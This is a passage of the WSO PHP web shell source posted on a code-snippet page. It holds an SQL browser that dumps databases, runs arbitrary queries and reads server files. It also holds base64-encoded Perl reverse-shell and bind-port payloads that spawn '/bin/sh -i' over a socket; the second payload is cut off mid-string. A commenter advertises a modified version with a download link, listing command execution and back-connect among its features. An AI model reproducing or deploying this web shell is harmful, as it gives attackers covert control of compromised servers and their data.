  1256. $columns = array();
  1257. foreach($item as $k=>$v) {
  1258. $item[$k] = "'".addslashes($v)."'";
  1259. $columns[] = $k;
  1260. }
  1261. $sql = 'INSERT INTO '.$table.' ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."\n";
  1262. if($fp) fwrite($fp, $sql); else echo($sql);
  1263. }
  1264. break;
  1265. }
  1266. return false;
  1267. }
  1268. };
  1269. $db = new DbClass($_POST['type']);
  1270. if((@$_POST['p2']=='download') && (@$_POST['p1']!='select')) {
  1271. $db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']);
  1272. $db->selectdb($_POST['sql_base']);
  1273. switch($_POST['charset']) {
  1274. case "Windows-1251": $db->setCharset('cp1251'); break;
  1275. case "UTF-8": $db->setCharset('utf8'); break;
  1276. case "KOI8-R": $db->setCharset('koi8r'); break;
  1277. case "KOI8-U": $db->setCharset('koi8u'); break;
  1278. case "cp866": $db->setCharset('cp866'); break;
  1279. }
  1280. if(empty($_POST['file'])) {
  1281. ob_start("ob_gzhandler", 4096);
  1282. header("Content-Disposition: attachment; filename=dump.sql");
  1283. header("Content-Type: text/plain");
  1284. foreach($_POST['tbl'] as $v)
  1285. $db->dump($v);
  1286. } elseif($fp = @fopen($_POST['file'], 'w')) {
  1287. foreach($_POST['tbl'] as $v)
  1288. $db->dump($v, $fp);
  1289. fclose($fp);
  1290. unset($_POST['p2']);
  1291. } else
  1292. die('<script>alert("Error! Can\'t open file");window.history.back(-1)</script>');
  1293. }
  1294. wsoHeader();
  1295. echo "
  1296. <h1>Sql browser</h1><div class=content>
  1297. <form name='sf' method='post' onsubmit='fs(this);'><table cellpadding='2' cellspacing='0'><tr>
  1298. <td>Type</td><td>Host</td><td>Login</td><td>Password</td><td>Database</td><td></td></tr><tr>
  1299. <input type=hidden name=a value=Sql><input type=hidden name=p1 value='query'><input type=hidden name=p2 value=''><input type=hidden name=c value='". htmlspecialchars($GLOBALS['cwd']) ."'><input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'') ."'>
  1300. <td><select name='type'><option value='mysql' ";
  1301. if(@$_POST['type']=='mysql')echo 'selected';
  1302. echo ">MySql</option><option value='pgsql' ";
  1303. if(@$_POST['type']=='pgsql')echo 'selected';
  1304. echo ">PostgreSql</option></select></td>
  1305. <td><input type=text name=sql_host value=\"". (empty($_POST['sql_host'])?'localhost':htmlspecialchars($_POST['sql_host'])) ."\"></td>
  1306. <td><input type=text name=sql_login value=\"". (empty($_POST['sql_login'])?'root':htmlspecialchars($_POST['sql_login'])) ."\"></td>
  1307. <td><input type=text name=sql_pass value=\"". (empty($_POST['sql_pass'])?'':htmlspecialchars($_POST['sql_pass'])) ."\"></td><td>";
  1308. $tmp = "<input type=text name=sql_base value=''>";
  1309. if(isset($_POST['sql_host'])){
  1310. if($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base'])) {
  1311. switch($_POST['charset']) {
  1312. case "Windows-1251": $db->setCharset('cp1251'); break;
  1313. case "UTF-8": $db->setCharset('utf8'); break;
  1314. case "KOI8-R": $db->setCharset('koi8r'); break;
  1315. case "KOI8-U": $db->setCharset('koi8u'); break;
  1316. case "cp866": $db->setCharset('cp866'); break;
  1317. }
  1318. $db->listDbs();
  1319. echo "<select name=sql_base><option value=''></option>";
  1320. while($item = $db->fetch()) {
  1321. list($key, $value) = each($item);
  1322. echo '<option value="'.$value.'" '.($value==$_POST['sql_base']?'selected':'').'>'.$value.'</option>';
  1323. }
  1324. echo '</select>';
  1325. }
  1326. else echo $tmp;
  1327. }else
  1328. echo $tmp;
  1329. echo "</td>
  1330. <td><input type=submit value='>>' onclick='fs(d.sf);'></td>
  1331. <td><input type=checkbox name=sql_count value='on'" . (empty($_POST['sql_count'])?'':' checked') . "> count the number of rows</td>
  1332. </tr>
  1333. </table>
  1334. <script>
  1335. s_db='".@addslashes($_POST['sql_base'])."';
  1336. function fs(f) {
  1337. if(f.sql_base.value!=s_db) { f.onsubmit = function() {};
  1338. if(f.p1) f.p1.value='';
  1339. if(f.p2) f.p2.value='';
  1340. if(f.p3) f.p3.value='';
  1341. }
  1342. }
  1343. function st(t,l) {
  1344. d.sf.p1.value = 'select';
  1345. d.sf.p2.value = t;
  1346. if(l && d.sf.p3) d.sf.p3.value = l;
  1347. d.sf.submit();
  1348. }
  1349. function is() {
  1350. for(i=0;i<d.sf.elements['tbl[]'].length;++i)
  1351. d.sf.elements['tbl[]'][i].checked = !d.sf.elements['tbl[]'][i].checked;
  1352. }
  1353. </script>";
  1354. if(isset($db) && $db->link){
  1355. echo "<br/><table width=100% cellpadding=2 cellspacing=0>";
  1356. if(!empty($_POST['sql_base'])){
  1357. $db->selectdb($_POST['sql_base']);
  1358. echo "<tr><td width=1 style='border-top:2px solid #666;'><span>Tables:</span><br><br>";
  1359. $tbls_res = $db->listTables();
  1360. while($item = $db->fetch($tbls_res)) {
  1361. list($key, $value) = each($item);
  1362. if(!empty($_POST['sql_count']))
  1363. $n = $db->fetch($db->query('SELECT COUNT(*) as n FROM '.$value.''));
  1364. $value = htmlspecialchars($value);
  1365. echo "<nobr><input type='checkbox' name='tbl[]' value='".$value."'>&nbsp;<a href=# onclick=\"st('".$value."',1)\">".$value."</a>" . (empty($_POST['sql_count'])?'&nbsp;':" <small>({$n['n']})</small>") . "</nobr><br>";
  1366. }
  1367. echo "<input type='checkbox' onclick='is();'> <input type=button value='Dump' onclick='document.sf.p2.value=\"download\";document.sf.submit();'><br>File path:<input type=text name=file value='dump.sql'></td><td style='border-top:2px solid #666;'>";
  1368. if(@$_POST['p1'] == 'select') {
  1369. $_POST['p1'] = 'query';
  1370. $_POST['p3'] = $_POST['p3']?$_POST['p3']:1;
  1371. $db->query('SELECT COUNT(*) as n FROM ' . $_POST['p2']);
  1372. $num = $db->fetch();
  1373. $pages = ceil($num['n'] / 30);
  1374. echo "<script>d.sf.onsubmit=function(){st(\"" . $_POST['p2'] . "\", d.sf.p3.value)}</script><span>".$_POST['p2']."</span> ({$num['n']} records) Page # <input type=text name='p3' value=" . ((int)$_POST['p3']) . ">";
  1375. echo " of $pages";
  1376. if($_POST['p3'] > 1)
  1377. echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3']-1) . ")'>&lt; Prev</a>";
  1378. if($_POST['p3'] < $pages)
  1379. echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3']+1) . ")'>Next &gt;</a>";
  1380. $_POST['p3']--;
  1381. if($_POST['type']=='pgsql')
  1382. $_POST['p2'] = 'SELECT * FROM '.$_POST['p2'].' LIMIT 30 OFFSET '.($_POST['p3']*30);
  1383. else
  1384. $_POST['p2'] = 'SELECT * FROM `'.$_POST['p2'].'` LIMIT '.($_POST['p3']*30).',30';
  1385. echo "<br><br>";
  1386. }
  1387. if((@$_POST['p1'] == 'query') && !empty($_POST['p2'])) {
  1388. $db->query(@$_POST['p2']);
  1389. if($db->res !== false) {
  1390. $title = false;
  1391. echo '<table width=100% cellspacing=1 cellpadding=2 class=main style="background-color:#292929">';
  1392. $line = 1;
  1393. while($item = $db->fetch()) {
  1394. if(!$title) {
  1395. echo '<tr>';
  1396. foreach($item as $key => $value)
  1397. echo '<th>'.$key.'</th>';
  1398. reset($item);
  1399. $title=true;
  1400. echo '</tr><tr>';
  1401. $line = 2;
  1402. }
  1403. echo '<tr class="l'.$line.'">';
  1404. $line = $line==1?2:1;
  1405. foreach($item as $key => $value) {
  1406. if($value == null)
  1407. echo '<td><i>null</i></td>';
  1408. else
  1409. echo '<td>'.nl2br(htmlspecialchars($value)).'</td>';
  1410. }
  1411. echo '</tr>';
  1412. }
  1413. echo '</table>';
  1414. } else {
  1415. echo '<div><b>Error:</b> '.htmlspecialchars($db->error()).'</div>';
  1416. }
  1417. }
  1418. echo "<br></form><form onsubmit='d.sf.p1.value=\"query\";d.sf.p2.value=this.query.value;document.sf.submit();return false;'><textarea name='query' style='width:100%;height:100px'>";
  1419. if(!empty($_POST['p2']) && ($_POST['p1'] != 'loadfile'))
  1420. echo htmlspecialchars($_POST['p2']);
  1421. echo "</textarea><br/><input type=submit value='Execute'>";
  1422. echo "</td></tr>";
  1423. }
  1424. echo "</table></form><br/>";
  1425. if($_POST['type']=='mysql') {
  1426. $db->query("SELECT 1 FROM mysql.user WHERE concat(`user`, '@', `host`) = USER() AND `File_priv` = 'y'");
  1427. if($db->fetch())
  1428. echo "<form onsubmit='d.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input class='toolsInp' type=text name=f><input type=submit value='>>'></form>";
  1429. }
  1430. if(@$_POST['p1'] == 'loadfile') {
  1431. $file = $db->loadFile($_POST['p2']);
  1432. echo '<br/><pre class=ml1>'.htmlspecialchars($file['file']).'</pre>';
  1433. }
  1434. } else {
  1435. echo htmlspecialchars($db->error());
  1436. }
  1437. echo '</div>';
  1438. wsoFooter();
  1439. }
  1440. function actionNetwork() {
  1441. wsoHeader();
  1442. $back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
  1443. $bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW

Report this snippet  

Comments

RSS Icon Subscribe to comments
Posted By: del007 on April 16, 2014

new modification version //// pass archive wso Opportunity Description / features: Authorization for cookies Information about the server File Manager (copy, rename, move, delete, chmod , touch , creating files and folders) View , hexview, editing, downloading, uploading files Work with zip archives ( packing, unpacking ) + compression tar.gz console SQL Manager (MySql, PostgreSql) PHP code execution Working with Strings + hash search online databases Bindport and back- Connect (Perl) Search files, search for text in files Support for * nix-like and Windows systems You can use AJAX Small size. Packaged version takes 22.8 Kb Choice of encoding , which works . http://myfolder.ru/files/40408915

You need to login to post a comment.